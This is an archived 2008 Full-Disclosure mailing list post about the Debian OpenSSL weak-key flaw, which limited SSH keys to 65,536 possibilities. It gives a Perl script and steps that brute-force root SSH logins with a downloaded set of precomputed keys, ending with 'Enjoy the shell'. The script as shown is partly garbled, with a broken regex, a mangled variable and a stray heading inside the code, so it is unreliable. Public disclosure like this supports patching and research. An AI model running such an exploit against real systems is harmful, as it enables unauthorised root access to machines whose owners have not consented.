

# [Full-disclosure] Working exploit for Debian generated SSH Keys

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2008-05/msg00416.html>

---

- *From:* Markus Müller <mm@xxxxxxxxxxxx>
  - *Date:* Thu, 15 May 2008 08:35:31 +0200
- 

Hi full-disclosure,

the debian openssl issue leads that there are only 65.536 possible ssh keys generated, cause the only entropy is the pid of the process generating the key.

This leads to that the following perl script can be used with the precalculated ssh keys to brute force the ssh login. It works if such a keys is installed on a non-patched debian or any other system manual configured to.

On an unpatched system, which doesn't need to be debian, do the following:

1. Download <http://www.deadbeef.de/rsa.2048.tar.bzip2>
2. Extract it to a directory
3. Enter into the /root/.ssh/authorized\_keys a SSH RSA key with 2048 Bits, generated on an upatched debian (this is the key this exploit will break)
4. Run the perl script and give it the location to where you extracted the bzip2 mentioned.

```
#!/usr/bin/perl
my $keysPerConnect = 6;
unless ($ARGV[1]) {
print "Syntax : ./exploiter.pl pathToSSHPrivateKeys SSHhostToTry\n";
print "Example: ./exploiter.pl /root/keys/ 127.0.0.1\n";
print "By mm@xxxxxxxxxxxx\n";
exit 0;
}
chdir($ARGV[0]);
opendir(A, $ARGV[0]) || die("opendir");
while ($_ = readdir(A)) {
chomp;
next unless m,^\d+$.;
push(@a, $_);
```

## [Full-disclosure] Working exploit for Debian generated SSH Keys

```
if (scalar(@a) > $keysPerConnect) {  
system("echo ".join(" ", @a)."; ssh -l root ".join(" ", map { "-i  
"._ } @a)." ".$ARGV[1]);  
@a = ();  
}  
}
```

5. Enjoy the shell after some minutes (less than 20 minutes)

Regards,  
Markus Mueller  
mm@xxxxxxxxxxxx

---

Full-Disclosure – We believe in it.

Charter: <http://lists.grok.org.uk/full-disclosure-charter.html>

Hosted and sponsored by Secunia – <http://secunia.com/>